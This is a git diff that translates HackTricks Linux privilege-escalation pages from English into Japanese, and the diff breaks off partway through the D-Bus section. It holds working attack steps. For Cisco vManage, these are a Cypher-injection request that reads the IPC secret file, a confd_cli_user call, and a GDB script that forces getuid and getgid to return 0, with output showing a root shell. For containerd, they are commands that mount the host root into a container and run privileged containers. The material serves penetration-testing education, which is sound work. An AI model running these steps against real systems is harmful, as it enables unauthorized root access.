[here](https://www.linode.com/docs/quick-answers/linux-essentials/what-is-systemd/)). +## その他のトリック -Files that ship in packages downloaded from the distribution repository go into `/usr/lib/systemd/`. Modifications done by system administrator (user) go into `/etc/systemd/system/`. - -## Other Tricks - -### NFS Privilege escalation +### NFS特権昇格 {% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} [nfs-no\_root\_squash-misconfiguration-pe.md](nfs-no\_root\_squash-misconfiguration-pe.md) {% endcontent-ref %} -### Escaping from restricted Shells +### 制限されたシェルからの脱出 {% content-ref url="escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](escaping-from-limited-bash.md) @@ -1602,31 +2002,31 @@ Files that ship in packages downloaded from the distribution repository go into [cisco-vmanage.md](cisco-vmanage.md) {% endcontent-ref %} -## Kernel Security Protections +## カーネルセキュリティ保護 * [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) * [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## その他のヘルプ [Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries) -## Linux/Unix Privesc Tools +## Linux/Unix Privescツール -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linuxローカル特権昇格ベクタを探すための最適なツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-tオプション)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** LinuxおよびMACでカーネルの脆弱性を列挙する[https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local\_exploit\_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail(物理アクセス):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**その他のスクリプトのまとめ**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## 参考文献 [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\ [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\ @@ -1640,12 +2040,11 @@ Files that ship in packages downloaded from the distribution repository go into
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +☁️ Hack +* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社を宣伝**したいですか?または、**最新版のPEASSを入手したい**ですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのテクニックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
diff --git a/linux-hardening/privilege-escalation/cisco-vmanage.md b/linux-hardening/privilege-escalation/cisco-vmanage.md index 02cc62a40..5945d4742 100644 --- a/linux-hardening/privilege-escalation/cisco-vmanage.md +++ b/linux-hardening/privilege-escalation/cisco-vmanage.md @@ -4,32 +4,29 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Path 1 +## パス1 -(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) - -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: +(例:[https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)からの例) +`confd`および異なるバイナリに関連する[ドキュメント](http://66.218.245.39/doc/html/rn03re18.html)を少し掘り下げた後(Ciscoのウェブサイトのアカウントでアクセス可能)、IPCソケットを認証するために、`/etc/confd/confd_ipc_secret`にあるシークレットを使用することがわかりました。 ``` -vmanage:~$ ls -al /etc/confd/confd_ipc_secret +vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +私たちのNeo4jインスタンスを覚えていますか?それは`vmanage`ユーザーの特権で実行されているため、前の脆弱性を利用してファイルを取得することができます。 ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 -Host: vmanage-XXXXXX.viptela.net +Host: vmanage-XXXXXX.viptela.net @@ -37,13 +34,11 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +`confd_cli`プログラムはコマンドライン引数をサポートしていませんが、引数を指定して`/usr/bin/confd_cli_user`を呼び出します。したがって、独自の引数を指定して`/usr/bin/confd_cli_user`を直接呼び出すことができます。ただし、現在の権限では読み取ることができないため、rootfsから取得し、scpを使用してコピーし、ヘルプを読み取り、シェルを取得するために使用する必要があります。 ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret -vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret +vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret vManage:~$ /tmp/confd_cli_user -U 0 -G 0 @@ -57,15 +52,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` +## パス2 -## Path 2 +(例:[https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)からの例) -(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) - -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +synacktivチームによるブログ¹では、ルートシェルを取得するためのエレガントな方法が説明されていますが、注意点として、ルートユーザーのみが読み取り可能な`/usr/bin/confd_cli_user`のコピーを取得する必要があります。私は、そのような手間をかけずにルートへの昇格方法を別の方法で見つけました。 +`/usr/bin/confd_cli`バイナリを逆アセンブルしたところ、以下のことがわかりました: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -94,46 +87,40 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +「ps aux」と実行すると、以下のような結果が表示されます(_注意:-g 100 -u 107_) ``` -vmanage:~$ ps aux +vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +私は、「confd_cli」プログラムがログインユーザーから収集したユーザーIDとグループIDを「cmdptywrapper」アプリケーションに渡すと仮定しました。 -I hypothesized the “confd\_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +最初の試みは、「cmdptywrapper」を直接実行し、`-g 0 -u 0`を指定することでしたが、失敗しました。どこかでファイルディスクリプタ(-i 1015)が作成され、それを偽装することができません。 -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. +synacktivのブログ(最後の例)で述べられているように、「confd_cli」プログラムはコマンドライン引数をサポートしていませんが、デバッガを使用して影響を与えることができます。幸運なことに、システムにはGDBが含まれています。 -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +私はGDBスクリプトを作成し、APIの「getuid」と「getgid」を0を返すように強制しました。既にシリアライズRCEを介して「vmanage」特権を持っているため、直接「/etc/confd/confd_ipc_secret」を読む権限があります。 root.gdb: - ``` set environment USER=root define root - finish - set $rax=0 - continue +finish +set $rax=0 +continue end break getuid commands - root +root end break getgid commands - root +root end run ``` - -Console Output: - +コンソール出力: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -167,15 +154,14 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**には、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index c119de0ab..9b761fb57 100644 --- a/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,20 +1,20 @@ -# Containerd (ctr) Privilege Escalation +# Containerd (ctr) 特権エスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basic information +## 基本情報 -Go to the following link to learn **what is containerd** and `ctr`: +以下のリンクに移動して、**containerd**と`ctr`の詳細を学びます: {% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} [2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md) @@ -22,38 +22,34 @@ Go to the following link to learn **what is containerd** and `ctr`: ## PE 1 -if you find that a host contains the `ctr` command: - +ホストに`ctr`コマンドが含まれていることがわかった場合: ```bash which ctr /usr/bin/ctr ``` - -You can list the images: +以下のコマンドでイメージをリストできます: ```bash -ctr image list -REF TYPE DIGEST SIZE PLATFORMS LABELS -registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - -registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - +ctr images ls ``` - -And then **run one of those images mounting the host root folder to it**: - +```bash +ctr image list +REF TYPE DIGEST SIZE PLATFORMS LABELS +registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - +registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - +``` +そして、**ホストのルートフォルダをマウントしているイメージのいずれかを実行します**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +特権を持ったコンテナを実行し、それから脱出します。\ +次のように特権を持ったコンテナを実行できます。 ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash +ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +次のページで言及されているいくつかのテクニックを使用して、特権のある機能を悪用してそれから脱出することができます: {% content-ref url="docker-security/" %} [docker-security](docker-security/) @@ -63,10 +59,10 @@ Then you can use some of the techniques mentioned in the following page to **esc ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 9b2de6540..73dd50537 100644 --- a/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -1,95 +1,90 @@ -# D-Bus Enumeration & Command Injection Privilege Escalation +# D-Bus列挙とコマンドインジェクション特権昇格
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## **GUI enumeration** +## **GUI列挙** -**(This enumeration info was taken from** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)** +**(この列挙情報は** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**から取得されました)** -Ubuntu desktop utilizes D-Bus as its inter-process communications (IPC) mediator. On Ubuntu, there are several message buses that run concurrently: A system bus, which is mainly used by **privileged services to expose system-wide relevant services**, and one session bus for each logged in user, which exposes services that are only relevant to that specific user. Since we will try to elevate our privileges, we will mainly focus on the system bus as the services there tend to run with higher privileges (i.e. root). Note that the D-Bus architecture utilizes one ‘router’ per session bus, which redirects client messages to the relevant services they are trying to interact with. Clients need to specify the address of the service to which they want to send messages. +Ubuntuデスクトップは、D-Busをそのプロセス間通信(IPC)メディエーターとして使用しています。Ubuntuでは、複数のメッセージバスが同時に実行されます。システムバスは、主に**特権のあるサービスがシステム全体に関連するサービスを公開するために使用**され、ログインしている各ユーザーごとに1つのセッションバスがあり、その特定のユーザーに関連するサービスを公開します。特権昇格を試みるため、特権が高い(つまり、root)で実行されることが多いシステムバスに主に焦点を当てます。D-Busアーキテクチャでは、セッションバスごとに1つの「ルーター」が使用され、クライアントメッセージを該当するサービスにリダイレクトします。クライアントは、メッセージを送信したいサービスのアドレスを指定する必要があります。 -Each service is defined by the **objects** and **interfaces** that it exposes. We can think of objects as instances of classes in standard OOP languages. Each unique instance is identified by its **object path** – a string which resembles a file system path that uniquely identifies each object that the service exposes. A standard interface that will help with our research is the **org.freedesktop.DBus.Introspectable** interface. It contains a single method, Introspect, which returns an XML representation of the methods, signals and properties supported by the object. This blog post focuses on methods and ignores properties and signals. - -I used two tools to communicate with the D-Bus interface: CLI tool named **gdbus**, which allows to easily call D-Bus exposed methods in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python based GUI tool that helps to enumerate the available services on each bus and to see which objects each service contains. +各サービスは、公開する**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準のOOP言語のクラスのインスタンスと考えることができます。各ユニークなインスタンスは、オブジェクトが公開する各オブジェクトを一意に識別するファイルシステムパスに似た文字列で識別されます。私たちの調査に役立つ標準のインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースです。これには、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返す単一のメソッド、Introspectが含まれています。このブログ投稿では、メソッドに焦点を当て、プロパティとシグナルは無視します。 +D-Busインターフェースとの通信には、2つのツールを使用しました。スクリプトでD-Busが公開するメソッドを簡単に呼び出すことができるCLIツールである**gdbus**と、利用可能なサービスを列挙し、各サービスが含むオブジェクトを表示するためのPythonベースのGUIツールである[**D-Feet**](https://wiki.gnome.org/Apps/DFeet)です。 ```bash sudo apt-get install d-feet ``` - 